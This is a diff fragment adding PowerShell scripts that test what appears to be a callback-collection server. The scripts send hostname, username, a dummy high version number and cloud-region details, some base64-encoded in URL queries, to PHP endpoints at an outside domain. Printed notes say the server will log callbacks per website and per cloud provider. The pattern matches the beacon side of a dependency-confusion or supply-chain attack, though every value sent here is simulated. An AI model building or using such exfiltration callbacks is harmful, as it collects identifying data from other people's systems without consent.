+ $encoded = [Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes($data))
18
+
19
+ try {
20
+ $r1 = Invoke-WebRequest -Uri "http://freeboldsec.com/new-page-1/api/rum/data_with_origin.php?d=$encoded" -UseBasicParsing
21
+ Write-Host "Response:" -ForegroundColor Green
22
+ $r1.Content | ConvertFrom-Json | ConvertTo-Json -Depth 10
23
+ } catch {
24
+ Write-Host "Error: $_" -ForegroundColor Red
25
+ }
26
+
27
+ # Test 2: Simulating AWS callback
28
+ Write-Host "`nTest 2: AWS Environment Simulation" -ForegroundColor Yellow
29
+ $awsData = @{
30
+ hostname = "ip-172-31-23-45"
31
+ whoami = "webapp"
32
+ version = "999.999.1006"
33
+ website = "myapp.us-east-1.amazonaws.com"
34
+ cloud_region = "us-east-1"
35
+ } | ConvertTo-Json
36
+ $awsEncoded = [Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes($awsData))
37
+
38
+ try {
39
+ $r2 = Invoke-WebRequest -Uri "http://freeboldsec.com/new-page-1/api/rum/data_with_origin.php?d=$awsEncoded" -UseBasicParsing
40
+ Write-Host "Response:" -ForegroundColor Green
41
+ $r2.Content | ConvertFrom-Json | ConvertTo-Json -Depth 10
42
+ } catch {
43
+ Write-Host "Error: $_" -ForegroundColor Red
44
+ }
45
+
46
+ # Test 3: Azure simulation
47
+ Write-Host "`nTest 3: Azure Environment Simulation" -ForegroundColor Yellow
48
+ $azureUrl = "http://freeboldsec.com/new-page-1/api/rum/data_with_origin.php?hostname=azure-vm&whoami=azureuser&version=999.999.1006&website=myapp.azurewebsites.net"
49
+
50
+ try {
51
+ $r3 = Invoke-WebRequest -Uri $azureUrl -UseBasicParsing
52
+ Write-Host "Response:" -ForegroundColor Green
53
+ $r3.Content | ConvertFrom-Json | ConvertTo-Json -Depth 10
54
+ } catch {
55
+ Write-Host "Error: $_" -ForegroundColor Red
56
+ }
57
+
58
+ Write-Host "`nThe new version will:" -ForegroundColor Cyan
59
+ Write-Host "- Track which website sent the callback" -ForegroundColor White
60
+ Write-Host "- Identify cloud providers (AWS, Azure, etc.)" -ForegroundColor White
61
+ Write-Host "- Create separate log files for different providers" -ForegroundColor White
62
+ Write-Host "- Capture referrer/origin headers when available" -ForegroundColor White
@@ -0,0 +1,51 @@
1
+ # Detailed POST test
2
+ Write-Host "=== DETAILED POST TEST ===" -ForegroundColor Cyan
3
+
4
+ # Test 1: Check if files exist
5
+ Write-Host "`nChecking if files exist..." -ForegroundColor Yellow
6
+ $files = @(
7
+ "http://freeboldsec.com/new-page-1/api/rum/post_test.php",
8
+ "http://freeboldsec.com/new-page-1/api/rum/data_fixed.php"
9
+ )
10
+
11
+ foreach ($url in $files) {
12
+ try {
13
+ $r = Invoke-WebRequest -Uri $url -Method GET -UseBasicParsing
14
+ Write-Host "✓ $url exists" -ForegroundColor Green
15
+ Write-Host " Response length: $($r.Content.Length) chars" -ForegroundColor Gray
16
+ if ($r.Content.Length -lt 500) {
17
+ Write-Host " Content: $($r.Content)" -ForegroundColor Gray
18
+ }
19
+ } catch {
20
+ Write-Host "✗ $url not found" -ForegroundColor Red
21
+ }
22
+ }
23
+
24
+ # Test 2: POST with full response details
25
+ Write-Host "`nTesting POST to data_fixed.php..." -ForegroundColor Yellow
26
+ try {
27
+ $testData = @{
28
+ hostname = "test-pc"
29
+ whoami = "jimmy"
30
+ version = "999.999.1006"
31
+ timestamp = Get-Date -Format "yyyy-MM-dd HH:mm:ss"
32
+ } | ConvertTo-Json
33
+
34
+ $response = Invoke-WebRequest -Uri "http://freeboldsec.com/new-page-1/api/rum/data_fixed.php" `
35
+ -Method POST `
36
+ -Body $testData `
37
+ -ContentType "application/json" `
38
+ -UseBasicParsing
39
+
40
+ Write-Host "Status: $($response.StatusCode)" -ForegroundColor Green
41
+ Write-Host "Content: $($response.Content)" -ForegroundColor Cyan
42
+ Write-Host "Headers:" -ForegroundColor Yellow
43
+ $response.Headers | Format-List
44
+ } catch {
45
+ Write-Host "Error: $_" -ForegroundColor Red
46
+ }
47
+
48
+ # Test 3: Check logs
49
+ Write-Host "`nCheck these log files in /public_html/new-page-1/api/rum/logs/:" -ForegroundColor Yellow
50
+ Write-Host "- rum_callbacks_$(Get-Date -Format 'yyyy-MM-dd').log" -ForegroundColor White
51
+ Write-Host "- post_debug_$(Get-Date -Format 'yyyy-MM-dd').log" -ForegroundColor White